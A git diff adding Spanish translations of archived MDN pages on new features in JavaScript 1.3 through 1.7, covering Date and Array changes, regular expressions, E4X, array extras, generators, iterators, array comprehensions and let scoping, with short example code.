+ <li>Cambios a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date" title="JavaScript/Reference/Global_Objects/Date"><code>Date</code></a> para estar en conformidad con ECMA-262
+
+  <ul>
+   <li>Nuevo constructor <code>Date(year, month, day, [,<em>hours</em> [<em>, minutes</em> [<em>, seconds</em> [<em>, milliseconds</em> ]]]])</code></li>
+   <li>Parámetros de métodos adicionales:
+    <ul>
+     <li><code>setMonth(month[, date])</code></li>
+     <li><code>setHours(hours[, min[, sec[, ms]]])</code></li>
+     <li><code>setMinutes(min[, sec[, ms]])</code></li>
+     <li><code>setSeconds(sec[, ms])</code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>La longitud de un array (propiedad length) es ahora una propiedad sin signo, un entero de 32-bit.</li>
+ <li>{{jsxref("Array.prototype.push()")}}: En JavaScript 1.2, el método <code>push</code> devolvía el último elemento añadido a un array. Bajo JavaScript 1.3, <code>push</code> devuelve la nueva longitud del array.</li>
+ <li>{{jsxref("Array.prototype.slice()")}}: En JavaScript 1.2, el método <code>splice</code> devolvía el elemento eliminado, si solo había sido eliminado un elemento  (si el parámetro <code>howMany</code> es igual a <code>1</code>). En JavaScript 1.3, <code>splice</code> siempre devuelve un array con los elemento eliminados. Si un elemento es eliminado, se devuelve un array de un elemento.</li>
+ <li><a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#replace">Cambios</a> a {{jsxref("String.prototype.replace()")}}.</li>
+ <li><a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#Boolean">Cambios</a> al objeto {{jsxref("Boolean")}}.</li>
+ <li><a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#toString">Cambios</a> a <code>toString()</code>.</li>
+</ul>
+
+<h2 id="Características_no-ECMA-262_de_JavaScript_1.3">Características no-ECMA-262 de JavaScript 1.3</h2>
+
+<p>La siguiente es una comparación entre la versión de junio de 1998 de ECMA-262 y JavaScript 1.3. Las siguientes características no fueron parte del estándar en ese moemtno, pero se implementaron en JavaScript 1.3.</p>
+
+<h3 id="Palabras_clave_y_operadores">Palabras clave y operadores</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">Operadores de igualdad estrictos</a></li>
+ <li>Barra invertida (<code>\v</code> or <code>\u000B</code>) como secuencia de escape.</li>
+</ul>
+
+<h3 id="Sentencias">Sentencias</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/label"><code>label</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export"><code>export</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import"><code>import</code></a></li>
+</ul>
+
+<h3 id="Objetos_integrados">Objetos integrados</h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Métodos_de_objetos_integrados">Métodos de objetos integrados</h3>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource">toSource()</a></code></li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Function.arity")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.5/index.html b/files/es/web/javascript/novedades_en_javascript/1.5/index.html
new file mode 100644
index 0000000000..62eebd9d61
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.5/index.html
@@ -0,0 +1,47 @@
+---
+title: Novedades en Javascript 1.5
+slug: Web/JavaScript/Novedades_en_JavaScript/1.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>JavaScript versión 1.5 provee las siguientes nuevas características y mejoras:</p>
+
+<h2 id="Errores_en_tiempo_de_ejecución">Errores en tiempo de ejecución</h2>
+
+<p>Los errores en tiempo de ejecución son ahora reportados como <a href="/es/Guía_JavaScript_1.5/Sentencias_de_manejo_de_excepciones" title="es/Guía_JavaScript_1.5/Sentencias_de_manejo_de_excepciones">excepciones</a>.</p>
+
+<h2 id="Mejoras_para_el_formato_de_números"><strong>Mejoras para el formato de números</strong></h2>
+
+<p>El formato de números ha sido mejorado para incluir los métodos <code>Number.prototype.toExponential</code>, <code>Number.prototype.toFixed</code> y <code>Number.prototype.toPrecision</code>. Véase la página <a href="/es/Guía_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Number" title="es/Guía_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Number">Objeto <em>Number</em></a>.</p>
+
+<h2 id="Mejoras_en_expresiones_regulares"><strong>Mejoras en expresiones regulares </strong></h2>
+
+<p>Las siguientes mejoras para expresiones regulares han sido añadidas:</p>
+
+<ul>
+ <li>Cuantificadores: — +, *, ? y {} —ahora pueden seguirse por un <code>?</code> para forzarlos ha no ser avaros {{ mediawiki.external('greedy') }}. Vea la entrada <strong>?</strong> en la página <a href="/es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales" title="es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales">Escribir un patrón de expresiones regulares</a>.</li>
+ <li>Paréntesis sin captura: <code>(?:x)</code>:pueden ser usados en vez de paréntesis con captura <code>(x)</code>. Cuando son utilizados, las sub expresiones de compatibilidad {{ mediawiki.external('match') }} no están disponibles como referencias de respaldo {{ mediawiki.external('back-references') }}. Vea la entrada <strong>(?:x)</strong> en la página: <a href="/es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales" title="es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales">Escribir un patrón de expresiones regulares</a>.</li>
+ <li>Aserciones predictivas {{ mediawiki.external('lookahead assertions') }} positivas y negativas son soportadas. Las dos aseguran una comparación dependiente de lo que sigue en la cadena de texto que está siendo cotejada. Ver las entradas para <code>x(?=y) y x(?!y)</code> en la página: <a href="/es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales" title="es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales">Escribir un patrón de expresiones regulares</a>.</li>
+ <li>La bandera {{ mediawiki.external('flag') }} m ha sido añadida para especificar que la expresión regular deberá cotejarse sobre múltiples líneas. Véase la página <a href="/es/Guía_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayúsculas_y_minúsculas_y_considerar_entrada_multilínea" title="es/Guía_JavaScript_1.5/Trabajar_con_expresiones_regulares#Ejecutar_una_busqueda_global,_discriminar_mayúsculas_y_minúsculas_y_considerar_entrada_multilínea">Ejecutar una búsqueda global, discriminar mayúsculas y minúsculas y considerar entrada multilínea</a>.</li>
+</ul>
+
+<h2 id="Declaraciones_de_funciones_condicionales"><strong>Declaraciones de funciones condicionales</strong></h2>
+
+<p>Las funciones ahora pueden ser declaradas dentro de una cláusula if. Véase la página: <a href="/es/Guía_JavaScript_1.5/Definiendo_Funciones" title="es/Guía_JavaScript_1.5/Definiendo_Funciones">Definiendo Funciones</a>.</p>
+
+<h2 id="Expresiones_funcionales"><strong>Expresiones funcionales</strong></h2>
+
+<p>Las funciones ahora pueden ser declaradas dentro de una expresión. Véase la página: <a href="/es/Guía_JavaScript_1.5/Definiendo_Funciones" title="es/Guía_JavaScript_1.5/Definiendo_Funciones">Definiendo Funciones</a>.</p>
+
+<h2 id="Cláusulas_Catch_múltiples"><strong>Cláusulas Catch múltiples</strong></h2>
+
+<p>Las múltiples cláusulas Catch en una sentencia try...catch son soportadas. Véase la página: <a href="/es/Guía_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/try...catch" title="es/Guía_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/try...catch"><em>El bloque catch</em></a>.</p>
+
+<h2 id="Obtenedores_y_Modificadores"><strong>Obtenedores y Modificadores</strong></h2>
+
+<p>Los editores de JavaScript ahora pueden añadir obtenedores {{ mediawiki.external('getters') }} y modificadores {{ mediawiki.external('setters') }} a sus objetos. Esta característica está disponible únicamente en la implementación C de JavaScript. Véase la página: <a href="/es/Guía_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_las_funciones_get_y_set" title="es/Guía_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_las_funciones_get_y_set">Definiendo obtenedores y modificadores</a>.</p>
+
+<h2 id="Constantes"><strong>Constantes</strong></h2>
+
+<p>Constantes definidas como sólo de lectura son soportadas. Esta característica está disponible únicamente en la implementación C de JavaScript. Véase la página: <a href="/es/Guía_JavaScript_1.5/Constantes" title="es/Guía_JavaScript_1.5/Constantes">Constantes</a>.</p>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.6/index.html b/files/es/web/javascript/novedades_en_javascript/1.6/index.html
new file mode 100644
index 0000000000..b8393c6b9e
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.6/index.html
@@ -0,0 +1,79 @@
+---
+title: Novedades en JavaScript 1.6
+slug: Web/JavaScript/Novedades_en_JavaScript/1.6
+tags:
+  - E4X
+  - JavaScript
+  - Todas_las_Categorías
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>JavaScript 1.6 introduce algunas nuevas características: E4X, algunos métodos nuevos <code>Array</code> y Arreglos y Cadenas genéricos.</p>
+
+<p>JavaScript 1.6 es soportado en <a href="es/Firefox_1.5">Firefox 1.5</a> y posteriores.</p>
+
+<h3 id="E4X" name="E4X">E4X</h3>
+
+<p>ECMAScript para XML (<a href="es/E4X">E4X</a>) es una poderosa tecnología para creción y procesamiento de contenido <a href="es/XML">XML</a> dentro de <a href="es/JavaScript">JavaScript</a>. Continuamos mejorando nuestro soporte en E4X , incluyendo adiciones transparentes de integración con el existente <a href="es/DOM">DOM</a>, pero desarrolladores quienes estan construyendo aplicaciones Web basadas en XML pueden beneficiarse con el soporte de E4X en Firefox 1.5.</p>
+
+<p>Puede seguirse utilizando el estandar de tipo MIME cuando utiliza E4X:</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+</pre>
+
+<p>Sin embargo, la sintaxis de E4X puede entrar en conflicto con la práctica común de poner scripts dentro de comentarios HTML (<code><span class="nowiki">&lt;!--...--&gt;</span></code>) para esconderlos de los navegadores antiguos. E4X puede también entrar en conflicto con la práctica más moderna de poner scripts dentro de las secciones XML CDATA (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>) para permitir que los símbolos "&lt;" y "&gt;" en el script (nótese que esto no se aplica a HTML). Si visualiza errores de sintaxis inexplicables, añada "; e4x=1" al tipo MIME:</p>
+
+<pre>&lt;script type="text/javascript; e4x=1"&gt;
+</pre>
+
+<p>Nótese que los scripts en extensiones siempre tratan los comentarios HTML como literales E4X. Esto es, el "e4x=1" está implícito.</p>
+
+<h3 id="Extras_de_Arreglos" name="Extras_de_Arreglos">Extras de Arreglos</h3>
+
+<p>Existen siete nuevos métodos de <code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array">Array</a></code> que pueden ser separados en dos categorías, métodos de localización de items y métodos iterativos. Los métodos de localización de items son:</p>
+
+<ul>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/indexOf">indexOf()</a></code> - retorna el índice de la primera ocurrencia del item.</li>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/lastIndexOf">lastIndexOf()</a></code> - retorna el índice de la última ocurrencia del item dado.</li>
+</ul>
+
+<p>Los métodos iterativos son:</p>
+
+<ul>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/every">every()</a></code> - corre una función en cada item en un arreglo y retorna verdadero si la función retorna verdadero en todos los items.</li>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/filter">filter()</a></code> - corre una función en cada item en un arreglo y retorna un arreglo con todos los items para los cuales la función retorna verdadero.</li>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/forEach">forEach()</a></code> - corre una función en cada item en un arreglo.</li>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/map">map()</a></code> - corre una función en cada item del arreglo y retorna los resultados en un arreglo.</li>
+ <li><code><a href="es/Core_JavaScript_1.5_Reference/Objects/Array/some">some()</a></code> - corre una función en cada item de un arreglo y retorna verdadero si la función retorna verdadero para cualquier item.</li>
+</ul>
+
+<h3 id="Arreglos_y_cadenas_gen.C3.A9ricos" name="Arreglos_y_cadenas_gen.C3.A9ricos">Arreglos y cadenas genéricos</h3>
+
+<p>Algunas veces le gustaría aplicar métodos de arreglos a las cadenas. Para hacer esto, trate a una cadena como un arreglo de caracteres. Por ejemplo, para chequear que cada caracter en la variable <var>cadena</var> es una letra, podría escribir:</p>
+
+<pre>function esLetra(caracter) {
+  return (caracter &gt;= "a" &amp;&amp; caracter &lt;= "z");
+}
+
+if (Array.prototype.every.call(cadena, esLetra))
+  alert("La cadena '" + cadena + "' contiene solo letras!");
+</pre>
+
+<p>Esta notación es demasiado extensa y JavaScript 1.6 introduce un atajo genérico {{ mediawiki.external('generic shorthand') }}:</p>
+
+<pre>if (Array.every(cadena, isLetter))
+  alert("La cadena '" + cadena + "' contiene sólo letras!");
+</pre>
+
+<p>Similarmente puede fácilmene aplicar métodos de String a cualquier objeto:</p>
+
+<pre>var número = 15;
+alert(String.replace(número, /5/, '2'));
+</pre>
+
+<h3 id="V.C3.A9ase_tambi.C3.A9n" name="V.C3.A9ase_tambi.C3.A9n">Véase también</h3>
+
+<p>Nuevas características de <a href="es/Novedades_en_JavaScript_1.7">JavaScript 1.7</a> introducidas en <a href="es/Firefox_2">Firefox 2</a>.</p>
+
+<p> </p>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.7/index.html b/files/es/web/javascript/novedades_en_javascript/1.7/index.html
new file mode 100644
index 0000000000..d783fdb0b0
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.7/index.html
@@ -0,0 +1,534 @@
+---
+title: Novedades en JavaScript 1.7
+slug: Web/JavaScript/Novedades_en_JavaScript/1.7
+tags:
+  - Guía_de_JavaScript_1.5
+  - JavaScript
+  - Todas_las_Categorías
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.7
+---
+<p>{{jsSidebar("New_in_JS")}}</p>
+
+<p>JavaScript 1.7 es una actualización del lenguaje que le añade algunas nuevas características, como generadores, iteradores, comprensión de arrays, sentencias <code>let</code> y asignación desestructurada. Evidentemente también incluye todas las características de <a href="es/Novedades_en_JavaScript_1.6">JavaScript 1.6</a>.</p>
+
+<p>El soporte para JavaScript 1.7 estará disponible a partir de <a href="es/Firefox_2">Firefox 2</a> Beta 1, así como en compilaciones actuales.</p>
+
+<p>Los ejemplos de código incluidos en este artículo pueden ser probados en la consola JavaScript. Si quieres aprender a construir o utilizar esta consola, lee <a href="es/Introducci%c3%b3n_al_shell_de_JavaScript">Introducción al shell de JavaScript</a>.</p>
+
+<h2 id="Utilizando_JavaScript_1.7" name="Utilizando_JavaScript_1.7">Utilizando JavaScript 1.7</h2>
+
+<p>Para usar las nuevas caracteristicas de JavaScript 1.7, es necesario especificar explícitamente el uso de JavaScript 1.7. En HTML o XUL, utiliza:</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.7"/&gt;
+</pre>
+
+<p>Cuando se utilice el <a href="es/Introducci%c3%b3n_al_shell_de_JavaScript">shell de JavaScript</a>, debes especificar la versión deseada utilizando la función <code>version()</code>:</p>
+
+<pre class="eval"> version(170);
+</pre>
+
+<h2 id="Generadores_e_iteradores" name="Generadores_e_iteradores">Generadores e iteradores</h2>
+
+<p>Cuando se desarrolla código que involucra algoritmos iterativos (como iteraciones sobre listas, o cálculos repetitivos sobre el mismo conjunto de datos), con frecuencia hay variables de estado cuyos valores necesitan ser mantenidos durante el proceso. Tradicionalmente se utilizan funciones callback para obtener los valores intermedios de un algoritmo iterativo.</p>
+
+<h3 id="Generadores" name="Generadores">Generadores</h3>
+
+<p>Considera este algoritmo iterativo que obtiene los números de la serie Fibonacci:</p>
+
+<pre>function do_callback(num) {
+  document.write(num + "&lt;BR&gt;\n");
+}
+
+function fib() {
+  var i = 0, j = 1, n = 0;
+  while (n &lt; 10) {
+    do_callback(i);
+    var t = i;
+    i = j;
+    j += t;
+    n++;
+  }
+}
+
+fib();
+</pre>
+
+<p>Este código utiliza rutinas callback para realizar las operaciones en cada paso del algoritmo. En este caso, cada numero Fibonacci es impreso en la consola.</p>
+
+<p>Los generadores e iteradores trabajan juntos para proveer nuevas y mejores formas de hacer esto. Veamos cómo es la rutina de la serie Fibonacci escrita utilizando generadores:</p>
+
+<pre>function fib() {
+  var i = 0, j = 1;
+  while (true) {
+    yield i;
+    var t = i;
+    i = j;
+    j += t;
+  }
+}
+
+var g = fib();
+for (var i = 0; i &lt; 10; i++) {
+  document.write(g.next() + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>La función que contiene la palabra clave <code>yield</code> es un generador. Cuando es llamada, sus parámetros formales son instanciados a los argumentos actuales, pero su cuerpo no es realmente evaluado, si no que se devuelve un
+
+ <i>generator-iterator</i>
+ . Cada llamada al método <code>next()</code> del
+
+ <i>generator-iterator</i>
+ realiza otro paso a través de algoritmo iterativo. El valor de cada paso es el valor especificado por la palabra clave <code>yield</code>. Piensa en <code>yield</code> como la versión
+
+ <i>generator-iterator</i>
+ de <code>return</code> que delimita la frontera entre cada iteración del algoritmo. Cada vez que se llama a <code>next()</code>, el código del generador continúa a partir de la sentencia que va después de <code>yield</code>.</p>
+
+<p>Se realiza un ciclo en el generator-iterator llamando repetidamente a su método <code>next()</code> hasta que se consiga la condición deseada. Con este ejemplo se pueden obtener tantos números de Fibonacci como se quiera llamando simplemente a <code>g.next()</code> hasta que conseguir la cantidad de números que se quiera.</p>
+
+<h5 id="Resumiendo_un_generador_en_un_punto_espec.C3.ADfico" name="Resumiendo_un_generador_en_un_punto_espec.C3.ADfico">Resumiendo un generador en un punto específico</h5>
+
+<p>Una vez que un generador ha sido iniciado por la invocación de su función <code>next()</code>, puede utilizarse <code>send()</code>, pasando un valor específico que será tratado como el resultado de la última producción. El generador entonces retornará el operando de la subsecuente producción.</p>
+
+<p>No se puede iniciar un generador en un punto arbitrario; deberá comenzarse con <code>next()</code> antes de poder enviarle {{ mediawiki.external('<code>send()</code>') }} un valor específico.</p>
+
+<div class="note"><b>Nótese:</b> Como un punto interesante, invocando <code>send(undefined)</code> es equivalente a invocar <code>next()</code>. Sin embargo, iniciando la aparición de un nuevo generador con cualquier otro valor que no sea indefinido {{ mediawiki.external('undefined') }} cuando invoque a <code>send()</code> resultará como una excepción de error de tipo {{ mediawiki.external('<code>TypeError</code> exception') }}.</div>
+
+<h5 id="Excepciones_en_los_generadores" name="Excepciones_en_los_generadores">Excepciones en los generadores</h5>
+
+<p>Puede forzar a un generador a lanzar una excepción mediante la invoación de su método <code>throw()</code>, pasándole el valor de la excepción que debe ser lanzada. Esta excepción se lanzará desde el conxtexto actual suspendido del generador, así como si el <code>yield</code> que está actualmente suspendido en lugar del sentencia <code>throw
+ <i>valor</i>
+ </code>.</p>
+
+<p>Si una producción no es encontrada durante el procesamiento de la excepción lanzada, entonces la excepción se propagará ascendentemente hasta la invocación del <code>throw()</code> y subsecuentemente invocará a <code>next()</code> que resulta en el lanzamiento de una <code>StopIteration</code>.</p>
+
+<h5 id="Cerrando_un_generador" name="Cerrando_un_generador">Cerrando un generador</h5>
+
+<p>Los generadores poseen el método <code>close()</code> que forza al generador a cerrarse por sí mismo. Los efectos de cerrar un generador son:</p>
+
+<ol>
+ <li>Cualquier cláusula <code>finally</code> activa en la función del generador es ejecutada.</li>
+ <li>Si una cláusula <code>finally</code> lanza cualquier excepción distinta a <code>StopIteration</code>, la excepción es propagada hacia el invocador del método <code>close()</code>.</li>
+ <li>El generador termina.</li>
+</ol>
+
+<h5 id="Ejemplo_de_un_Generador" name="Ejemplo_de_un_Generador">Ejemplo de un Generador</h5>
+
+<p>Este código maneja un generador que se producirá cada 100 lazos.</p>
+
+<pre>var gen = generator();
+
+function driveGenerator() {
+	if (gen.next()) {
+		window.setTimeout(driveGenerator, 0);
+	} else {
+		gen.close();
+	}
+}
+
+function generator() {
+	while (i &lt; something) {
+		/** stuff **/
+
+		++i;
+		/** 100 loops per yield **/
+		if ((i % 100) == 0) {
+			yield true;
+		}
+	}
+
+	yield false;
+}
+</pre>
+
+<h3 id="Iteradores" name="Iteradores">Iteradores</h3>
+
+<p>Un
+ <i>iterador</i>
+ es un objeto especial que te permite iterar datos.</p>
+
+<p>En el uso cotidiano, los objetos iteradores son
+ <i>invisibles</i>
+ (no se necesita trabajar con ellos explícitamente) y son usados en <a href="es/Gu%c3%ada_JavaScript_1.5/Sentencias_de_manipulaci%c3%b3n_de_objetos">sentencias <code>for...in</code> y <code>for each...in</code></a> para recorrer de forma natural las claves y/o los valores de los objetos.</p>
+
+<pre>var objectWithIterator = getObjectSomehow();
+
+for (var i in objectWithIterator)
+{
+  document.write(objectWithIterator[i] + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>Si se está implementando un objeto iterador personalizado o se necesita manipular directamente un iterador, será preciso conocer antes el método <code>next()</code>, la excepción <code>StopIteration</code> y la propiedad <code>__iterator__</code>.</p>
+
+<p><span class="comment">traduzco getter como la función get</span> Se puede crear un iterador para un objeto llamando a <code>Iterator(
+ <i>objectname</i>
+ )</code>. El iterador para cierto objeto se conoce gracias a la propiedad <code>__iterator__</code> de dicho objeto, la cual implementa predeterminadamente la iteración de acuerdo al modelo convencional de <code>for..in</code> y <code>for each...in</code>. Si se desea utilizar un iterador personalizado, se debería sobreescribir la función <a href="es/Gu%c3%ada_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_las_funciones_get_y_set">get</a> para que <code>__iterator__</code> devuelva una instancia del susodicho iterador. Para obtener el iterador de un objeto en un script se debería de usar <code>Iterator(
+ <i>obj</i>
+ )</code> en lugar de acceder directamente a la propiedad <code>__iterator__</code>.</p>
+
+<p>Una vez se tiene el iterador, se puede buscar fácilmente el siguiente elemento en el objeto llamando su método <code>next()</code>. Cuando no hay más datos se lanza la excepción <code>StopIteration</code>.</p>
+
+<p>A continuación se muestra un ejemplo simple de manipulación directa de iteradores:</p>
+
+<pre>var obj = {name:"Jack Bauer", username:"JackB", id:12345, agency:"CTU", region:"Los Angeles"};
+
+var it = Iterator(obj);
+
+try {
+  while (true) {
+    document.write(it.next() + "&lt;BR&gt;\n");
+  }
+} catch (err if err instanceof StopIteration) {
+  document.write("End of record.&lt;BR&gt;\n");
+} catch (err) {
+  document.write("Unknown error: " + err.description + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>La salida de este programa tendrá este aspecto:</p>
+
+<pre>name,Jack Bauer
+username,JackB
+id,12345
+agency,CTU
+region,Los Angeles
+End of record.
+</pre>
+
+<p>Opcionalmente se puede especificar un segundo parámetro durante la creación del iterador, el cual es un valor booleano que indica si sólo se quieren obtener las claves cada vez que se llama al método <code>next()</code> o no. Cambiando <code>var it = Iterator(obj);</code> por <code>var it = Iterator(obj, true);</code> en el ejemplo anterior se obtendría la siguiente salida:</p>
+
+<pre>name
+username
+id
+agency
+region
+End of record.
+</pre>
+
+<p>En ambos casos, el orden final en el que los datos son devueltos puede variar dependiendo de la implementación por lo que <b>no se garantiza el orden de los datos</b>.</p>
+
+<p>Los iteradores son un método útil de recorrer los datos de los objetos, incluyendo objetos que pueden contener datos inesperados. Esto puede ser especialmente útil si se necesitan recuperar datos para los que la aplicación no está preparada.</p>
+
+<h2 id="Comprensi.C3.B3n_de_arrays" name="Comprensi.C3.B3n_de_arrays">Comprensión de arrays</h2>
+
+<p>La comprensión de arrays es una forma de utilizar generadores para realizar de manera apropiada potentes inicializaciones de arrays. Por ejemplo:</p>
+
+<pre class="eval">function range(begin, end) {
+  for (let i = begin; i &lt; end; ++i) {
+    yield i;
+  }
+}
+</pre>
+
+<p><code>range()</code> es un generador que devuelve todos los valores entre &lt;tt&gt;begin&lt;/tt&gt; y &lt;tt&gt;end&lt;/tt&gt;. Una vez definido eso, se puede utilizar así:</p>
+
+<pre class="eval">var diez_cuadrados = [i * i for (i in range(0, 10))];
+</pre>
+
+<p>Esto pre-inicializa un nuevo array, <var>diez_cuadrados</var>, para que contenga los cuadrados de los valores del rango <code>0..9</code>.</p>
+
+<p>Se puede usar cualquier sentencia condicional al inicializar un array. Si lo que se quiere es inicializar un array para que contenta los números pares entre 0 y 20, se puede usar este código.</p>
+
+<pre class="eval">var pares = [i for (i in range(0, 21)) if (i % 2 == 0)];
+</pre>
+
+<p>Antes de JavaScript 1.7, lo anterior debería haber sido codificado así:</p>
+
+<pre>var evens = [];
+for (var i=0; i &lt;= 20; i++) {
+  if (i % 2 == 0)
+    evens.push(i);
+}
+</pre>
+
+<p>La comprensión de arrays no sólo es mucho más compacta sino que de hecho es mucho más fácil de leer una vez que nos hemos familiarizado con el concepto.</p>
+
+<h4 id="Reglas_de_.C3.A1mbito" name="Reglas_de_.C3.A1mbito">Reglas de ámbito</h4>
+
+<p>La comprensión de arrays utiliza un bloque implícito en el cual se ubica. Dicho bloque contiene todo el contenido que se halla dentro de los corchetes, además del las declaraciones <code>let</code> implícitas.</p>
+
+<p><span class="comment">''Add details.''</span></p>
+
+<h2 id=".C3.81mbito_de_un_bloque_con_let" name=".C3.81mbito_de_un_bloque_con_let">Ámbito de un bloque con <code>let</code></h2>
+
+<p>Existen varias formas en las que <code>let</code> puede ser usado para manejar el ámbito de un bloque de datos y funciones:</p>
+
+<ul>
+ <li>La <b>sentencia <code>let</code></b> proporciona un método de asociar valores con variables, constantes y funciones en el ámbito del bloque, sin afectar a los de las variables que tengan el mismo nombre fuera del bloque.</li>
+ <li>La <b>expresión <code>let</code></b> permite establecer variables cuyo ámbito está comprendido en una única expresión.</li>
+ <li>La <b>definición <code>let</code></b> define variables, constantes y funciones cuyo ámbito queda restringido al bloque en el que se han definido. Esta sintaxis es muy parecida a la usada para <code>var</code>.</li>
+ <li>Además se puede utilizar <code>let</code> para establecer variables que existan sólo dentro del contexto de un bucle <code>for</code>.</li>
+</ul>
+
+<p> </p>
+
+<h3 id="El_sentencia_let" name="El_sentencia_let">El sentencia <code>let</code></h3>
+
+<p>La sentencia <code>let</code> proporciona un ámbito local para variables, constantes y funciones. Funciona reservando cero o más variables en el ámbito léxico de un único bloque de código. La validez de la sentencia <code>let</code> finaliza cuando termina el bloque.</p>
+
+<p>Por ejemplo:</p>
+
+<pre>var x = 5;
+var y = 0;
+
+let (x = x+10, y = 12) {
+  document.write(x+y + "&lt;BR&gt;\n");
+}
+
+document.write(x+y + "&lt;BR&gt;\n");
+</pre>
+
+<p>tendrá como salida:</p>
+
+<pre>27
+5
+</pre>
+
+<p>Las reglas para el bloque de código son las mismas que para cualquier otro bloque de código de JavaScript. Puede tener sus propias variables establecidas usando declaraciones <code>let</code>.</p>
+
+<div class="note"><b>Nota:</b> Cuando se use la sintaxis de las sentencia <code>let</code>, será necesario incluir los paréntesis. El no incluirlos provocará un error de sintaxis.</div>
+
+<h4 id="Reglas_de_.C3.A1mbito_2" name="Reglas_de_.C3.A1mbito_2">Reglas de ámbito</h4>
+
+<p>El ámbito de las variables definidas usando <code>let</code> es el del mismo bloque de <code>let</code>, además de cualquier bloque interno contenido dentro de él, a menos que esos bloques definan variables con el mismo nombre.</p>
+
+<h3 id="Expresiones_let" name="Expresiones_let">Expresiones <code>let</code></h3>
+
+<p>Se puede usar <code>let</code> para establecer variables cuyo ámbito comprende sólo una única expresión:</p>
+
+<pre>var x = 5;
+var y = 0;
+document.write( let(x = x + 10, y = 12) x+y  + "&lt;BR&gt;\n");
+document.write(x+y + "&lt;BR&gt;\n");
+</pre>
+
+<p>La salida da como resultado:</p>
+
+<pre>27
+5
+</pre>
+
+<p>En este caso, el ámbito de las variables <var>x</var> = <code>x+10</code> e <var>y</var> = <code>12</code> es utilizado solamente en la expresión <code>x+y</code></p>
+
+<h4 id="Reglas_de_.C3.A1mbito_3" name="Reglas_de_.C3.A1mbito_3">Reglas de ámbito</h4>
+
+<p>Dada la expresión <code>let</code></p>
+
+<pre class="eval">let (<var>decls</var>) <var>expr</var>
+</pre>
+
+<p>existe un bloque creado implícitamente que comprende el trozo <var>expr</var>.</p>
+
+<h3 id="Definiciones_let" name="Definiciones_let">Definiciones <code>let</code></h3>
+
